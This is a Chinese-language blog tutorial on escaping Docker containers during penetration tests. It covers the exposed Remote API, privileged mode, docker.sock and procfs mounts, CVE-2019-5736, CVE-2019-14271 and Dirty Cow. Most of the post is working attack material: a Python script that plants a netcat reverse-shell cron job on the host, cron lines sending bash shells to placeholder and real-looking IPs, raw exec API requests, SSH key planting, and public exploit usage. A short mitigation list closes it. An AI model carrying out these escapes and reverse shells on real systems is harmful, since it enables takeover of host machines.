基于网络安全的Docker逃逸

Posted 2022-11-19 kali_Ma

如何判断当前机器是否为Docker容器环境

Metasploit中的checkcontainer模块、（判断是否为虚拟机，checkvm模块）

搭配Docker逃逸学习教程

1. 检查根目录下是否存在.dockerenv文件

2. 检查/proc/1/cgroup是否存在还有docker字符串

cat /proc/1/cgroup

3. 检查是否存在container环境变量

通过env\\PATH来检查是否有docker相关的环境变量，来进一步判断

4. 其他检测方式

如检测mount、fdisk -l查看硬盘、判断PID 1的进程名等也可用来辅助判断

Docker逃逸方式

1. 危险的配置导致Docker逃逸

由于"纵深防御" 和 "最小权限"等理念和原则落地，越来越难以直接利用漏洞来进行利用。另一方面，公开的漏洞，安全运维人员能够及时将其修复，当然，不免存在漏网之鱼。相反，更多的是利用错误的、危险的配置来进行利用，不仅仅Docker逃逸，其他漏洞也是，比如生产环境开启Debug模式导致漏洞利用等等。

Docker已经将容器运行时的Capabilities黑名单机制改为如今的默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限

docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务，可以通过HTTP、Python、调用API来操作Docker

Docker Remote API的端口2375端口

访问http://your-ip:2375/version

火狐打开如下，证明存在未授权访问漏洞

在kali上开启nc监听本地端口，用来接收反弹shell

反弹Shell exp：

import docker 
client = docker.DockerClient(base_url='http://your-ip:2375/') 
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes='/etc': 'bind': '/tmp/etc', 'mode': 'rw')

执行脚本，shell会反弹到kali主机上

Github上的exp：https://github.com/Tycx2ry/docker_api_vul

另一种方式

首先访问http://your-ip:2375/version

访问http://ip:2375/containers/json

创建一个包，得到返回的exec_id的参数，数据包内容如下：

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
​

“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true

注意其中的cmd字段，这个就是要执行的命令。

得到exec_id参数后构造第二个exec_start数据包，内容如下

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
​

“Detach”: false,
“Tty”: false

到此成功获取到docker主机的命令执行权限，但是还没有逃逸到宿主机

在docker容器中安装docker做为client（kali中有的话就不需要了）

apt-get install docker.io`
`yum -y install docker

查看宿主机的docker image信息

docker -H tcp://宿主机ip:2375 images

启动一个容器并且将宿主机的根目录装到容器内的某个目录

docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash 

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

写一个计划任务反弹shell(或者写.ssh公钥都OK)

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root

在vps上使用nc命令等待反弹过来的shellnc -lvp 8888

Docker高危启动参数–privileged 特权模式启动容器

使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。

当操作者执行docker run --privileged时，Docker将允许容器访问宿主机上的所有设备，同时修改AppArmor或SELinux的配置，使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

---

特权模式启动一个Ubuntu容器：
sudo docker run -itd --privileged ubuntu:latest /bin/bash

进入容器

使用fdisk命令查看磁盘文件：

fdisk -l

在特权模式下，逃逸的方式很多，比如：直接在容器内部挂载宿主机磁盘，然后切换根目录。

mkdir /test
mount /dev/vda1 /test

新建一个目录：mkdir /test 挂载磁盘到新建目录：mount /dev/vda1 /test 切换根目录：chroot /test 到这里已经成功逃逸了，然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多）

写计划任务，反弹宿主机Shell。
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root

如果要写SSH的话，需要挂载宿主机的root目录到容器。
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash mkdir /root/.ssh cat id_rsa.pub >> /root/.ssh/authorized_keys
然后ssh 私钥登录。

其他参数： Docker 通过Linux namespace实现6项资源隔离，包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限，从而打破了资源隔离的界限。

--cap-add=SYS_ADMIN 启动时，允许执行mount特权操作，需获得资源挂载进行利用

--net=host 启动时，绕过Network Namespace

--pid=host 启动时，绕过PID Namespace

--ipc=host 启动时，绕过IPC Namespace

2. 危险挂载导致Docker逃逸

挂载目录（-v /:/soft）

docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash

挂载Docker Socket

Docker采用C/S架构，我们平常使用的Docker命令中，docker即为client，Server端的角色由docker daemon扮演，二者之间通信方式有以下3种：

• unix:///var/run/docker.sock(默认

• tcp://host:port

• fd://socketfd

Docker Socket是Docker守护进程监听的Unix域套接字，用来与守护进程通信——查询信息或下发命令。

逃逸复现：

1. 首先创建一个容器并挂载/var/run/docker.sock； docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

2. 在该容器内安装Docker命令行客户端；

 apt-update apt-get install \\ apt-transport-https \\ ca-certificates \\ curl \\ gnupg-agent \\ software-properties-common curl -fsSL [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg)| apt-key add - apt-key fingerprint 0EBFCD88 add-apt-repository \\ "deb [arch=amd64] [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/)\\ $(lsb_release -cs) \\ stable" apt-get update apt-get install docker-ce docker-ce-cli containerd.io

3. 接着使用该客户端通过Docker Socket与Docker守护进程通信，发送命令创建并运行一个新的容器，将宿主机的根目录挂载到新创建的容器内部；docker run -it -v /:/host ubuntu:18.04 /bin/bash
   

4. 在新容器内执行chroot将根目录切换到挂载的宿主机根目录。 已成功逃逸到宿主机。

挂载宿主机procfs

docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

为了区分，挂载到容器的/host/目录下

procfs是一个伪文件系统，它动态反映着系统内进程及其他组件的状态，其中有许多十分敏感重要的文件。因此，将宿主机的procfs挂载到不受控的容器中也是十分危险的，尤其是在该容器内默认启用root权限，且没有开启User Namespace时

从2.6.19内核版本开始，Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|，那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

Docker默认情况下不会为容器开启User Namespace根据参考资料1，一般情况下不会将宿主机的procfs挂载到容器中，然而有些业务为了实现某些特殊需要，还是会有。 一些细节原理看参考资料1哈，这里专注于利用。 复现：“在挂载procfs的容器内利用core_pattern后门实现逃逸“ 利用思路：攻击者进入到挂载了宿主机profs的容器，root权限，然后向宿主机的procfs写Payload

3. 程序漏洞导致Docker逃逸

runC容器逃逸漏洞CVE-2019-5736

漏洞简述：

Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6，因此允许攻击者重写宿主机上的runc 二进制文件，攻击者可以在宿主机上以root身份执行命令。

即通过在docker容器中重写和运行主机系统的runc二进制文件达到逃逸的目的 利用条件： Docker版本 < 18.09.2，runc版本< 1.0-rc6，一般情况下，可通过 docker 和docker-runc 查看当前版本情况。

利用步骤：

版本合适的情况下去尝试

首先我们要有一个docker下的shell，第二步利用脚本中的反弹shell命令，第三步使用go build来编译脚本，第四步将脚本上传到docker中，第五步等待宿主机执行exec进入当前docker容器的时候，宿主机就会向我们的vps反弹root权限的shell

下载pocgit clone https://github.com/Frichetten/CVE-2019-5736-PoC.gitPoC修改Payloadvi main.go

选中部分修改\\n后面的命令为反弹shell命令即可payload = "#!/bin/bash \\n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"

编译生成payloadCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go拷贝到docker容器中执行sudo docker cp ./main 248f8b7d3c45:/tmp

也可以先上传到github上，用git clone命令下载。或者上传到vps上，然后在vps上用python开启一个http服务，再用wget下载即可

执行此脚本，然后等待宿主机用户进入这个容器中

docker exec -it test /bin/bash

上面命令的含义是进入test这个容器，当宿主机上执行exec命令来进入我们运行了脚本的容器的时候，宿主机就会反弹root权限的shell给我们的vps的监听端口，至此利用结束。

如果没有人在宿主机执行的话是无法docker逃逸的

Docker cp命令容器逃逸攻击漏洞CVE-2019-14271

漏洞描述：

当Docker宿主机使用cp命令时，会调用辅助进程docker-tar，该进程没有被容器化，且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库，将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码，成功实现Docker逃逸，获得宿主机root权限。 影响版本： Docker 19.03.0

漏洞原理

Copy命令允许从容器复制文件。复制文件到容器以及在容器之间复制文件。它的语法和标准Unix的cp命令非常相似。如果从容器中复制/var/logs/，需要使用的语法为：

docker cp container_name:/var/logs /some/host/path.

把文件复制到容器外，docker需要借助一个名为docker-tar的帮助进程

docker-tar的工作原理是对文件进行chroot，将请求的文件和目录放在其中，然后将其生成的tar文件传递回Docker的守护程序，该守护程序负责将其提取到宿主机的目标目录中。

CHROOT就是Change Root，也就是改变程序执行时所参考的根目录位置

Docker-tar chroot进入容器：

选择chroot的方式，有一个主要原因是为了避免符号链接问题，当主机进程尝试访问容器上的文件时，可能会产生符号链接的问题。在这些文件中，如果包含符号链接，那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门，使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件

有漏洞的版本使用Go v1.11编译而成的

这个版本中的一些包含嵌入式C语言代码的软件包（cgo）在运行时会加载动态共享库

这些软件包包括net和os/user，都会被docker-tar使用，它们会在运行时加载多个libnss_*.so库。

通常，这些库会从宿主机的文件系统中加载，但是由于docker-tar会chroots到容器中，因此它会从容器文件系统中加载库。这也就意味着，docker-tar将加载并执行由容器发起和控制的代码。

需要说明的是，除了被chroot到容器文件系统之外，docker-tar并没有被容器化。它运行在宿主机的命名空间中，具有所有root能力，并且不会受到cgroups或seccomp的限制。

有一种可能的攻击场景，是Docker用户从以下任一用户的位置复制一些文件：

1. 运行包含恶意libnss_*.so库中恶意映像的容器；

2. 受到攻击的容器，且攻击者替换了其中的libnss_*.so库

在这两种情况时，攻击者都可以在宿主机上实现root权限的任意代码执行。

利用思路

1. 找出docker-tar具体会加载那些容器内的动态链接库

2. 下载对应动态链接库源码，为其增加一个attribute((constructor))属性的函数run_at_link（该属性意味着在动态链接库被进程加载时，run_at_link函数会首先被执行），在run_at_link函数中放置我们希望docker-tar执行的攻击载荷（payload）；编译生成动态链接文件

3. 编写辅助脚本”/breakout“，将辅助脚本和步骤二生成的恶意动态链接库放入恶意容器，等待用户执行docker cp命令，触发漏洞

4. Dirty Cow内核漏洞导致Docker逃逸

Dirty Cow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸

前置知识

1. VDSO其实就是将内核中的.so文件映射到内存中，.so文件是基于Linux下的动态链接，其功能和作用类似于Windows下的.dll文件

2. 在Linux中，有一个功能：VDSO(virtual dvnamic shared object)，这是一个小型共享库，能够将内核自动映射到所有用户程序的地址空间，可以理解成将内核中的函数映射到内存中，方便大家访问

Dirty cow漏洞可以让我们获取只读内存的写的权限，我们首先利用dirty cow漏洞写入一段shellcode到VDSO映射的一段闲置内存中，然后改变函数的执行顺序，使得调用正常的任意函数之前都要执行这段shellcode。这段shellcode初始化的时候会检查是否被root调用，如果是则继续执行，如果不是，则接着执行clock_gettime函数，接下来它会检测/tmp/.X文件的存在，如果存在，则这时已经是root权限了，然后它会打开一个反向的TCP链接，为Shellcode中填写的ip返回一个Shell。

//这种利用方法利用成功的前提是，宿主机的内核有Dirty Cow漏洞

Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞，通过它可实现Docker容器逃逸，获得root权限的shell。

Docker 与 宿主机共享内核，因此容器需要在存在dirtyCow漏洞的宿主机里。

利用过程

下载脚本

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

利用结果

直接反弹宿主机的shell到127.0.0.1

docker 逃逸成功

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736

2、runc版本 > 1.0-rc6

3、k8s 集群版本>1.12

4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)

5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛)，未找到docker逃逸利用过程，但存在逃逸风险

6、不建议以root权限运行Docker服务

7、不建议以privileged（特权模式）启动Docker

8、不建议将宿主机目录挂载至容器目录

9、不建议将容器以—cap-add=SYSADMIN启动，SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作，存在容器逃逸风险

【一一帮助安全学习，所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

#总结
Docker逃逸在渗透测试中面向的场景大概是这样，渗透拿到shell后，发现主机是docker环境，要进一步渗透，就必须逃逸到“直接宿主机”。甚至还有物理机运行虚拟机，虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。所以本文给大家介绍的就是如何判断当前环境是否为docker容器环境，其次通过几种方式进行docker逃逸